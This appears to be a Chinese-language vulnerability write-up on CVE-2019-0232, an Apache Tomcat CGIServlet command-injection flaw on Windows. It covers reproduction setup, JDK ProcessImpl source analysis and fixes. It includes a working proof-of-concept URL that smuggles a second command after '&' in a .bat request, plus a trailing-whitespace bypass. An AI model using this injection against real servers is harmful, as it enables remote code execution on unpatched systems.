CVE-2019-0232:Apache Tomcat RCE复
漏洞影响范围
- Apache Tomcat 9.0.0.M1 to 9.0.17
- Apache Tomcat 8.5.0 to 8.5.39
- Apache Tomcat 7.0.0 to 7.0.93
利用前提
- Windows系统
- 启用CGIServlet和enableCmdLineArguments参数
- privileged="true"
复现过程
配置java环境变量
下载相应版本tomcat服务器(此处为9.0.13版本)下载地址
打开配置/conf/web.xml文件,修改如下配置
<!--
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
-->
为
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
同时修改如下配置
<!--
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
-->
为
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
然后打开content.xml文件,修改如下配置
<Context>
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
为
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
进入webapps/ROOT/WEB-INF/目录,创建cgi-bin/hello.bat文件,hello.bat文件为任意内容(非空)。
运行bin/startup.bat文件,待tomcat启动成功后,访问url
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
成功弹出计算器,代码执行成功。
配置分析
web.xml为tomcat中的全局配置文件,对该server下所有web应用均有效;若需要对一些应用进行特殊配置,可以在其根目录下添加单独的web.xml文件。
启用CGIServlet,CGI(common gateway interface)是外部应用程序(CGI程序)与WEB服务器之间的接口标准,允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器。
<param-value>WEB-INF/cgi-bin</param-value>
指定了cgi的路径,这里的路径不必须为此值,只需要与实际cgi路径相同即可;
<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param>
设置enableCmdLineArguments值为true,默认值为false
Are command line arguments generated from the query string as per section 4.4 of 3875 RFC? The default is
false
.
(取自http://tomcat.apache.org/tomcat-7.0-doc/cgi-howto.html);
<init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>
设置executable值为空
The name of the executable to be used to run the script. You may explicitly set this parameter to be an empty string if your script is itself executable (e.g. an exe file). Default is
perl
.
(取自http://tomcat.apache.org/tomcat-7.0-doc/cgi-howto.html);
<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
用于设置url路径与servlet的映射关系;
<Context privileged="true">
指定该应用为特权(privileged)应用
Set to
true
to allow this context to use container servlets, like the manager servlet. Use of theprivileged
attribute will change the context's parent class loader to be the Server class loader rather than the Shared class loader. Note that in a default installation, the Common class loader is used for both the Server and the Shared class loaders.
(取自http://tomcat.apache.org/tomcat-7.0-doc/config/context.html)。
漏洞分析
来看一下我们的payload
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
可以看到实际上是访问了/cgi-bin/hello.bat文件
.bat文件是windows下的批处理文件(可执行文件),可以批量执行命令。
在我们访问.bat文件时,实际上是调用了Runtime.getRuntime().exec()方法来运行.bat文件,该方法会返回一个Process实例。
如果我们运行如下代码
import java.oi.*;
class c{
public static void main(String[] args){
String[] cmd={"args.bat","args","&","C:\\Windows\\System32\\calc.exe"};
//or 'String cmd="args.bat args&C:\\Windows\\System32\\calc.exe";'
try{
Process process=Runtime.getRuntime().exec(cmd);
OutputStream testStream= process.getOutputStream();
InputStreamReader ir= new InputStreamReader(process.getInputStream());
LineNumberReader input = new LineNumberReader (ir);
input.readLine ();
}
catch(Exception e){
}
}
}
同样会弹出计算器(前提是存在一个非空的args.bat文件)
追踪一下exec()方法,声明如下
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
这里的exec()方法是一个重载的方法,如果我们传入的参数是一个字符串,那么将会调用下面exec()
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
该处return exec()代码如下
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
这个return exec()方法实例化了一个StringTokenizer类,将字符串通过空格分隔并储存在一个数组中,然后调用处理数组参数的exec()方法。即如果传入的参数是字符串,就增加一个将字符串转变成字符串数组的过程。
处理数组的exec()方法代码如下
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
start()代码如下
public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();
for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0];
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
String dir = directory == null ? null : directory.toString();
for (int i = 1; i < cmdarray.length; i++) {
if (cmdarray[i].indexOf('\u0000') >= 0) {
throw new IOException("invalid null character in command");
}
}
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
} catch (IOException | IllegalArgumentException e) {
String exceptionInfo = ": " + e.getMessage();
Throwable cause = e;
if ((e instanceof IOException) && security != null) {
// Can not disclose the fail reason for read-protected files.
try {
security.checkRead(prog);
} catch (SecurityException se) {
exceptionInfo = "";
cause = se;
}
}
// It's much easier for us to create a high-quality error
// message than the low-level C code which found the problem.
throw new IOException(
"Cannot run program \"" + prog + "\""
+ (dir == null ? "" : " (in directory \"" + dir + "\")")
+ exceptionInfo,
cause);
}
}
首先取出参数数组第一个值进行System.getSecurityManager()和security.checkExec()校验
java.lang.System.getSecurityManager():This method returns the security manager if that security manager has already been established for the current application, else null is returned.
(取自https://www.tutorialspoint.com/java/lang/system_getsecuritymanager.htm)
java.lang.SecurityManager.checkExec(String cmd):The java.lang.SecurityManager.checkExec(String cmd) method throws a SecurityException if the calling thread is not allowed to create a subprocess. This method is invoked for the current security manager by the exec methods of class Runtime.
(取自https://www.tutorialspoint.com/java/lang/securitymanager_checkexec.htm)
实际上return了一个ProcessImpl.start()方法
static Process start(String cmdarray[],
java.util.Map<String,String> environment,
String dir,
ProcessBuilder.Redirect[] redirects,
boolean redirectErrorStream)
throws IOException
{
String envblock = ProcessEnvironment.toEnvironmentBlock(environment);
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
try {
long[] stdHandles;
if (redirects == null) {
stdHandles = new long[] { -1L, -1L, -1L };
} else {
stdHandles = new long[3];
if (redirects[0] == Redirect.PIPE)
stdHandles[0] = -1L;
else if (redirects[0] == Redirect.INHERIT)
stdHandles[0] = fdAccess.getHandle(FileDescriptor.in);
else {
f0 = new FileInputStream(redirects[0].file());
stdHandles[0] = fdAccess.getHandle(f0.getFD());
}
if (redirects[1] == Redirect.PIPE)
stdHandles[1] = -1L;
else if (redirects[1] == Redirect.INHERIT)
stdHandles[1] = fdAccess.getHandle(FileDescriptor.out);
else {
f1 = newFileOutputStream(redirects[1].file(),
redirects[1].append());
stdHandles[1] = fdAccess.getHandle(f1.getFD());
}
if (redirects[2] == Redirect.PIPE)
stdHandles[2] = -1L;
else if (redirects[2] == Redirect.INHERIT)
stdHandles[2] = fdAccess.getHandle(FileDescriptor.err);
else {
f2 = newFileOutputStream(redirects[2].file(),
redirects[2].append());
stdHandles[2] = fdAccess.getHandle(f2.getFD());
}
}
return new ProcessImpl(cmdarray, envblock, dir,
stdHandles, redirectErrorStream);
} finally {
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try { if (f0 != null) f0.close(); }
finally {
try { if (f1 != null) f1.close(); }
finally { if (f2 != null) f2.close(); }
}
}
}
这里返回值是一个ProcessImpl类的构造方法,代码如下
private ProcessImpl(String cmd[],
final String envblock,
final String path,
final long[] stdHandles,
final boolean redirectErrorStream)
throws IOException
{
String cmdstr;
SecurityManager security = System.getSecurityManager();
boolean allowAmbiguousCommands = false;
if (security == null) {
allowAmbiguousCommands = true;
String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
if (value != null)
allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
}
if (allowAmbiguousCommands) {
// Legacy mode.
// Normalize path if possible.
String executablePath = new File(cmd[0]).getPath();
// No worry about internal, unpaired ["], and redirection/piping.
if (needsEscaping(VERIFICATION_LEGACY, executablePath) )
executablePath = quoteString(executablePath);
cmdstr = createCommandLine(
//legacy mode doesn't worry about extended verification
VERIFICATION_LEGACY,
executablePath,
cmd);
} else {
String executablePath;
try {
executablePath = getExecutablePath(cmd[0]);
} catch (IllegalArgumentException e) {
// Workaround for the calls like
// Runtime.getRuntime().exec("\"C:\\Program Files\\foo\" bar")
// No chance to avoid CMD/BAT injection, except to do the work
// right from the beginning. Otherwise we have too many corner
// cases from
// Runtime.getRuntime().exec(String[] cmd [, ...])
// calls with internal ["] and escape sequences.
// Restore original command line.
StringBuilder join = new StringBuilder();
// terminal space in command line is ok
for (String s : cmd)
join.append(s).append(' ');
// Parse the command line again.
cmd = getTokensFromCommand(join.toString());
executablePath = getExecutablePath(cmd[0]);
// Check new executable name once more
if (security != null)
security.checkExec(executablePath);
}
// Quotation protects from interpretation of the [path] argument as
// start of longer path with spaces. Quotation has no influence to
// [.exe] extension heuristic.
cmdstr = createCommandLine(
// We need the extended verification procedure for CMD files.
isShellFile(executablePath)
? VERIFICATION_CMD_BAT
: VERIFICATION_WIN32,
quoteString(executablePath),
cmd);
}
handle = create(cmdstr, envblock, path,
stdHandles, redirectErrorStream);
java.security.AccessController.doPrivileged(
new java.security.PrivilegedAction<Void>() {
public Void run() {
if (stdHandles[0] == -1L)
stdin_stream = ProcessBuilder.NullOutputStream.INSTANCE;
else {
FileDescriptor stdin_fd = new FileDescriptor();
fdAccess.setHandle(stdin_fd, stdHandles[0]);
stdin_stream = new BufferedOutputStream(
new FileOutputStream(stdin_fd));
}
if (stdHandles[1] == -1L)
stdout_stream = ProcessBuilder.NullInputStream.INSTANCE;
else {
FileDescriptor stdout_fd = new FileDescriptor();
fdAccess.setHandle(stdout_fd, stdHandles[1]);
stdout_stream = new BufferedInputStream(
new FileInputStream(stdout_fd));
}
if (stdHandles[2] == -1L)
stderr_stream = ProcessBuilder.NullInputStream.INSTANCE;
else {
FileDescriptor stderr_fd = new FileDescriptor();
fdAccess.setHandle(stderr_fd, stdHandles[2]);
stderr_stream = new FileInputStream(stderr_fd);
}
return null; }});
}
allowAmbiguousCommands变量仅当System.getSecurityManager()返回null且System.getProperty()不为假时才为真,此时会执行legacy mode(传统模式),即if(allowAmbiguousCommands)
内的部分
首先来看if (allowAmbiguousCommands)
内的部分,可以看到调用了needsEscaping()方法
private static boolean needsEscaping(int verificationType, String arg) {
// Switch off MS heuristic for internal ["].
// Please, use the explicit [cmd.exe] call
// if you need the internal ["].
// Example: "cmd.exe", "/C", "Extended_MS_Syntax"
// For [.exe] or [.com] file the unpaired/internal ["]
// in the argument is not a problem.
boolean argIsQuoted = isQuoted(
(verificationType == VERIFICATION_CMD_BAT),
arg, "Argument has embedded quote, use the explicit CMD.EXE call.");
if (!argIsQuoted) {
char testEscape[] = ESCAPE_VERIFICATION[verificationType];
for (int i = 0; i < testEscape.length; ++i) {
if (arg.indexOf(testEscape[i]) >= 0) {
return true;
}
}
}
return false;
}
这里又调用了isQuoted()方法,这个方法是检测字符串是否被合法的双引号包含,代码不贴了
所以这里的needsEscaping()方法是对没有被双引号合法包含的字符串进行特殊字符检查,有三种检查方式,这里使用的是第三种,检查' '(空格)和'\t'(缩进)。所以在这里needsEscaping()方法的作用就是判断是否存在空格分隔的参数
如果needsEscaping()判断为真就为其加上双引号,然后调用createCommandLine()方法
private static String createCommandLine(int verificationType,
final String executablePath,
final String cmd[])
{
StringBuilder cmdbuf = new StringBuilder(80);
cmdbuf.append(executablePath);
for (int i = 1; i < cmd.length; ++i) {
cmdbuf.append(' ');
String s = cmd[i];
if (needsEscaping(verificationType, s)) {
cmdbuf.append('"').append(s);
// The code protects the [java.exe] and console command line
// parser, that interprets the [\"] combination as an escape
// sequence for the ["] char.
// http://msdn.microsoft.com/en-us/library/17w5ykft.aspx
//
// If the argument is an FS path, doubling of the tail [\]
// char is not a problem for non-console applications.
//
// The [\"] sequence is not an escape sequence for the [cmd.exe]
// command line parser. The case of the [""] tail escape
// sequence could not be realized due to the argument validation
// procedure.
if ((verificationType != VERIFICATION_CMD_BAT) && s.endsWith("\\")) {
cmdbuf.append('\\');
}
cmdbuf.append('"');
} else {
cmdbuf.append(s);
}
}
return cmdbuf.toString();
}
这里实际上就是把cmd数组中第二个参数开始加上双引号后与之前处理过的cmd[0]重新进行拼接,并进行了转义符的处理
再来看看else内的部分,首先是调用了getExecutablePath()方法
private static String getExecutablePath(String path)
throws IOException
{
boolean pathIsQuoted = isQuoted(true, path,
"Executable name has embedded quote, split the arguments");
// Win32 CreateProcess requires path to be normalized
File fileToRun = new File(pathIsQuoted
? path.substring(1, path.length() - 1)
: path);
// From the [CreateProcess] function documentation:
//
// "If the file name does not contain an extension, .exe is appended.
// Therefore, if the file name extension is .com, this parameter
// must include the .com extension. If the file name ends in
// a period (.) with no extension, or if the file name contains a path,
// .exe is not appended."
//
// "If the file name !does not contain a directory path!,
// the system searches for the executable file in the following
// sequence:..."
//
// In practice ANY non-existent path is extended by [.exe] extension
// in the [CreateProcess] funcion with the only exception:
// the path ends by (.)
return fileToRun.getPath();
}
实际是增加了去除首位双引号的步骤,如果路径包含了非法的双引号,则抛出IllegalArgumentException并执行else中的catch块。catch块中将cmd数组用空格分隔拼接成一个字符串,然后传入getTokensFromCommand()方法中
private static String[] getTokensFromCommand(String command) {
ArrayList<String> matchList = new ArrayList<>(8);
Matcher regexMatcher = LazyPattern.PATTERN.matcher(command);
while (regexMatcher.find())
matchList.add(regexMatcher.group());
return matchList.toArray(new String[matchList.size()]);
}
这里是对command进行了一次正则,取出双引号内或者被\s分隔的部分,同时可以去除非法的双引号,正则表达式为"[^\\s\"]+|\"[^\"]*\""
然后调用了createCommandLine()方法和isShellFile()方法,isShellFile()方法代码如下
private boolean isShellFile(String executablePath) {
String upPath = executablePath.toUpperCase();
return (upPath.endsWith(".CMD") || upPath.endsWith(".BAT"));
}
这里是判断命令可执行路径是否以.cmd/.bat结尾
到这里if-else部分就结束了,结果是产生了一个cmdstr字符串,if中的legacy mode与else中的strict mode主要的区别就是strict mode对可执行路径的扩展名进行了校验。
然后调用create()方法创建了一个进程,这是一个native方法,在不同的平台上有不同的实现
/**
* Create a process using the win32 function CreateProcess.
* The method is synchronized due to MS kb315939 problem.
* All native handles should restore the inherit flag at the end of call.
*
* @param cmdstr the Windows command line
* @param envblock NUL-separated, double-NUL-terminated list of
* environment strings in VAR=VALUE form
* @param dir the working directory of the process, or null if
* inheriting the current directory from the parent process
* @param stdHandles array of windows HANDLEs. Indexes 0, 1, and
* 2 correspond to standard input, standard output and
* standard error, respectively. On input, a value of -1
* means to create a pipe to connect child and parent
* processes. On output, a value which is not -1 is the
* parent pipe handle corresponding to the pipe which has
* been created. An element of this array is -1 on input
* if and only if it is <em>not</em> -1 on output.
* @param redirectErrorStream redirectErrorStream attribute
* @return the native subprocess HANDLE returned by CreateProcess
*/
private static synchronized native long create(String cmdstr,
String envblock,
String dir,
long[] stdHandles,
boolean redirectErrorStream)
throws IOException;
根据注释可以知道在windows下是调用了CreateProcess()函数来创建进程
CreateProcess()函数创建进程时,会首先判断将要执行的文件路径是否以.bat/.cmd结尾,如果是这样,那么执行的镜像将会成为cmd.exe。
Remember the isShellFile checked the file name extension for
.cmd
and.bat
? This is due to the fact that CreateProcess executes these files in a cmd.exe shell environment:[…] the decision tree that CreateProcess goes through to run an image is as follows:
- […]
- If the file to run has a
.bat
or.cmd
extension, the image to be run becomes Cmd.exe, the Windows command prompt, and CreateProcess restarts at Stage 1. (The name of the batch file is passed as the first parameter to Cmd.exe.)- […]
— Windows Internals, 6th edition (Part 1)
That means a '
file.bat …
' becomes 'C:\Windows\system32\cmd.exe /c "file.bat …"
' and an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe.However, since Java does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, injection is even easier:
&calc&
does not require any quoting and will be interpreted as a separate command by cmd.exe.This works in the legacy mode just like in the strict mode if we make isShellFile return false, e. g., by adding whitespace to the end of the path, which tricks the endsWith check but are ignored by CreateProcess.
(取自https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html)
在java将参数传递给CreateProcess()时没有进行正确的转义,如果传入精心构造的payload,如args.bat&dir,cmd.exe会将dir解释为单独的命令并执行
只有在最严格的strict mode下,命令注入才可能被过滤,但仍然可以通过在文件路径尾部加上空格的方式来绕过。最严格的strict mode下,needsEscaping()方法中的erificationType=0,此时检测的特殊字符有{' ', '\t', '<', '>', '&', '|', '^'}(strict mode下三种检查方式分别会检查{' ', '\t', '<', '>', '&', '|', '^'},{' ', '\t', '<', '>'},{' ', '\t'})。
修复
- 使用更新版本的Apache Tomcat。
- 关闭enableCmdLineArguments参数
其他
-
关于windows下java命令注入,可以参考Java and Command Line Injections in Windows
-
关于命令行的参数解析,可以参考How Command Line Parameters Are Parsed
-
在搜索技术相关的问题时,建议在搜索字符串后面加上" -csdn"
参考
CVE-2019-0232:Apache Tomcat RCE漏洞分析
How Command Line Parameters Are Parsed